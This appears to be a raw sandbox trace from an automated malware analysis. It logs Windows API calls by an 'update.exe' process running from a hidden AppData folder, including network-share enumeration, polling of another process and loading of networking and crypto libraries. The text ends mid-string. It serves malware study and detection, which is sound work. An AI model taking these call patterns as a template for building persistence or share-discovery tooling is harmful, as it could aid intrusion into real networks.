[0136.322] CloseHandle (hObject=0x190) returned 1 [0136.322] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.322] Sleep (dwMilliseconds=0x1) [0136.338] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x19c [0136.338] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xa) returned 0x102 [0136.353] CloseHandle (hObject=0x19c) returned 1 [0136.353] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.353] Sleep (dwMilliseconds=0x1) [0136.369] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x19c [0136.369] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xa) returned 0x102 [0136.387] CloseHandle (hObject=0x19c) returned 1 [0136.387] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.387] Sleep (dwMilliseconds=0x1) [0136.400] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x19c [0136.400] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xa) returned 0x102 [0136.416] CloseHandle (hObject=0x19c) returned 1 [0136.416] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.416] Sleep (dwMilliseconds=0x1) [0136.431] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x19c [0136.432] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xa) returned 0x102 [0136.447] CloseHandle (hObject=0x19c) returned 1 [0136.447] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.447] Sleep (dwMilliseconds=0x1) [0136.463] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x19c [0136.463] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xa) returned 0x102 [0136.478] CloseHandle (hObject=0x19c) returned 1 [0136.478] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.478] Sleep (dwMilliseconds=0x1) [0136.494] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x19c [0136.494] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xa) returned 0x102 [0136.510] CloseHandle (hObject=0x19c) returned 1 [0136.510] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.510] Sleep (dwMilliseconds=0x1) [0136.525] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x19c [0136.525] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xa) returned 0x102 [0136.541] CloseHandle (hObject=0x19c) returned 1 [0136.541] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.541] Sleep (dwMilliseconds=0x1) [0136.556] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x19c [0136.556] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xa) returned 0x102 [0136.572] CloseHandle (hObject=0x19c) returned 1 [0136.572] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.572] Sleep (dwMilliseconds=0x1) [0136.588] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x19c [0136.588] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xa) returned 0x102 [0136.604] CloseHandle (hObject=0x19c) returned 1 [0136.605] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 1 Thread: id = 140 os_tid = 0x344 [0122.345] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x245fee0 | out: lphEnum=0x245fee0*=0x6ee8e0) returned 0x0 [0123.658] WNetEnumResourceW (in: hEnum=0x6ee8e0, lpcCount=0x245fedc, lpBuffer=0x722420, lpBufferSize=0x245fed8 | out: lpcCount=0x245fedc, lpBuffer=0x722420, lpBufferSize=0x245fed8) returned 0x0 [0123.658] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x722420, lphEnum=0x245fe28 | out: lphEnum=0x245fe28*=0x6e6f90) returned 0x0 [0123.683] WNetEnumResourceW (in: hEnum=0x6e6f90, lpcCount=0x245fe24, lpBuffer=0x72a410, lpBufferSize=0x245fe20 | out: lpcCount=0x245fe24, lpBuffer=0x72a410, lpBufferSize=0x245fe20) returned 0x103 [0123.683] WNetCloseEnum (hEnum=0x6e6f90) returned 0x0 [0123.683] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x722440, lphEnum=0x245fe28 | out: lphEnum=0x245fe28*=0x245fe44) returned 0x4b8 [0136.573] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x722460, lphEnum=0x245fe28 | out: lphEnum=0x245fe28*=0x245fe44) returned 0x4c6 [0136.574] WNetEnumResourceW (in: hEnum=0x6ee8e0, lpcCount=0x245fedc, lpBuffer=0x722420, lpBufferSize=0x245fed8 | out: lpcCount=0x245fedc, lpBuffer=0x722420, lpBufferSize=0x245fed8) returned 0x103 [0136.574] WNetCloseEnum (hEnum=0x6ee8e0) returned 0x0 [0136.574] SendMessageW (hWnd=0x3014a, Msg=0x8004, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 141 os_tid = 0x7e4 Thread: id = 143 os_tid = 0x7e0 Process: id = "19" image_name = "update.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" page_root = "0x7065f000" os_pid = "0x7ac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x68c" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e23f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2117 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2118 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2119 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2120 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2121 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2122 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2123 start_va = 0x400000 end_va = 0x49afff entry_point = 0x400000 region_type = mapped_file name = "update.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") Region: id = 2124 start_va = 0x778b0000 end_va = 0x77a58fff entry_point = 0x778b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2125 start_va = 0x77a90000 end_va = 0x77c0ffff entry_point = 0x77a90000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2126 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2127 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2128 start_va = 0xfffb0000 end_va = 0xfffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 2129 start_va = 0xfffdb000 end_va = 0xfffddfff entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 2130 start_va = 0xfffde000 end_va = 0xfffdefff entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 2131 start_va = 0xfffdf000 end_va = 0xfffdffff entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 2132 start_va = 0xfffe0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 2133 start_va = 0x380000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 2134 start_va = 0x73ff0000 end_va = 0x7404bfff entry_point = 0x73ff0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2135 start_va = 0x754a0000 end_va = 0x754a7fff entry_point = 0x754a0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2136 start_va = 0x754b0000 end_va = 0x754eefff entry_point = 0x754b0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2137 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2138 start_va = 0x1a0000 end_va = 0x206fff entry_point = 0x1a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2139 start_va = 0x680000 end_va = 0x77ffff entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 2140 start_va = 0x755e0000 end_va = 0x755ebfff entry_point = 0x755e0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2141 start_va = 0x755f0000 end_va = 0x7564ffff entry_point = 0x755f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2142 start_va = 0x75720000 end_va = 0x757bffff entry_point = 0x75720000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2143 start_va = 0x75b30000 end_va = 0x75bccfff entry_point = 0x75b30000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2144 start_va = 0x75d90000 end_va = 0x75e3bfff entry_point = 0x75d90000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2145 start_va = 0x75e40000 end_va = 0x75e49fff entry_point = 0x75e40000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2146 start_va = 0x75e50000 end_va = 0x75f4ffff entry_point = 0x75e50000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2147 start_va = 0x75f50000 end_va = 0x75f95fff entry_point = 0x75f50000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2148 start_va = 0x76ea0000 end_va = 0x76eb8fff entry_point = 0x76ea0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2149 start_va = 0x77150000 end_va = 0x7723ffff entry_point = 0x77150000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2150 start_va = 0x77290000 end_va = 0x7731ffff entry_point = 0x77290000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2151 start_va = 0x773e0000 end_va = 0x774effff entry_point = 0x773e0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2152 start_va = 0x77690000 end_va = 0x777aefff entry_point = 0x0 region_type = private name = "private_0x0000000077690000" filename = "" Region: id = 2153 start_va = 0x777b0000 end_va = 0x778a9fff entry_point = 0x0 region_type = private name = "private_0x00000000777b0000" filename = "" Region: id = 2154 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2155 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2156 start_va = 0x753a0000 end_va = 0x753a4fff entry_point = 0x753a0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 2166 start_va = 0x280000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2167 start_va = 0x4a0000 end_va = 0x627fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 2168 start_va = 0x75650000 end_va = 0x7571bfff entry_point = 0x75650000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2169 start_va = 0x75d30000 end_va = 0x75d8ffff entry_point = 0x75d30000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2170 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2171 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2172 start_va = 0x780000 end_va = 0x900fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 2173 start_va = 0x910000 end_va = 0x1d0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 2174 start_va = 0x1d10000 end_va = 0x1ecffff entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 2277 start_va = 0x210000 end_va = 0x214fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 2728 start_va = 0x210000 end_va = 0x25efff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2791 start_va = 0x75380000 end_va = 0x75391fff entry_point = 0x75380000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 2825 start_va = 0x75bd0000 end_va = 0x75cc4fff entry_point = 0x75bd0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 2826 start_va = 0x76e40000 end_va = 0x76e96fff entry_point = 0x76e40000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2827 start_va = 0x76ec0000 end_va = 0x76ff5fff entry_point = 0x76ec0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 2828 start_va = 0x75810000 end_va = 0x7596bfff entry_point = 0x75810000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2829 start_va = 0x77000000 end_va = 0x7708efff entry_point = 0x77000000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2830 start_va = 0x75980000 end_va = 0x75a9cfff entry_point = 0x75980000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 2831 start_va = 0x75970000 end_va = 0x7597bfff entry_point = 0x75970000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 2832 start_va = 0x76c40000 end_va = 0x76e3afff entry_point = 0x76c40000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 2833 start_va = 0x75340000 end_va = 0x75371fff entry_point = 0x75340000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 2834 start_va = 0x75fa0000 end_va = 0x76be9fff entry_point = 0x75fa0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2835 start_va = 0x75320000 end_va = 0x7533bfff entry_point = 0x75320000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 2836 start_va = 0x77a60000 end_va = 0x77a65fff entry_point = 0x77a60000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2837 start_va = 0x75310000 end_va = 0x75316fff entry_point = 0x75310000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 2838 start_va = 0x757d0000 end_va = 0x75804fff entry_point = 0x757d0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2839 start_va = 0x290000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 2840 start_va = 0x752c0000 end_va = 0x75303fff entry_point = 0x752c0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 2841 start_va = 0x1d10000 end_va = 0x1e8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 2842 start_va = 0x1ec0000 end_va = 0x1ecffff entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 2843 start_va = 0x75200000 end_va = 0x752befff entry_point = 0x75200000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 2844 start_va = 0x290000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 2845 start_va = 0x340000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2846 start_va = 0x770c0000 end_va = 0x770c4fff entry_point = 0x770c0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Thread: id = 138 os_tid = 0x5c4 [0112.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xca4e0310, dwHighDateTime=0x1d4800f)) [0112.666] GetCurrentProcessId () returned 0x7ac [0112.666] GetCurrentThreadId () returned 0x5c4 [0112.666] GetTickCount () returned 0x954c [0112.666] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=1808222200000) returned 1 [0112.666] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0112.667] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.667] GetProcAddress (hModule=0x773e0000, lpProcName="FlsAlloc") returned 0x773f4f2b [0112.667] GetProcAddress (hModule=0x773e0000, lpProcName="FlsGetValue") returned 0x773f1252 [0112.668] GetProcAddress (hModule=0x773e0000, lpProcName="FlsSetValue") returned 0x773f4208 [0112.668] GetProcAddress (hModule=0x773e0000, lpProcName="FlsFree") returned 0x773f359f [0112.668] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.668] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0112.668] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.668] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0112.668] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.668] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0112.668] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.669] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0112.669] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.669] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0112.669] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.669] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0112.669] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.669] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0112.669] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.669] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0112.670] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.670] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0112.670] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.670] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0112.670] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0112.670] GetCurrentThreadId () returned 0x5c4 [0112.670] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0112.670] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0112.670] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0112.671] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0112.671] SetHandleCount (uNumber=0x20) returned 0x20 [0112.671] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0112.671] GetEnvironmentStringsW () returned 0x6925f0* [0112.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0112.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1ec11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0112.671] FreeEnvironmentStringsW (penv=0x6925f0) returned 1 [0112.671] GetLastError () returned 0x0 [0112.671] SetLastError (dwErrCode=0x0) [0112.671] GetLastError () returned 0x0 [0112.671] SetLastError (dwErrCode=0x0) [0112.671] GetLastError () returned 0x0 [0112.671] SetLastError (dwErrCode=0x0) [0112.671] GetACP () returned 0x4e4 [0112.671] GetLastError () returned 0x0 [0112.671] SetLastError (dwErrCode=0x0) [0112.671] IsValidCodePage (CodePage=0x4e4) returned 1 [0112.671] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.671] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0112.671] GetLastError () returned 0x0 [0112.672] SetLastError (dwErrCode=0x0) [0112.672] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0112.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0112.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 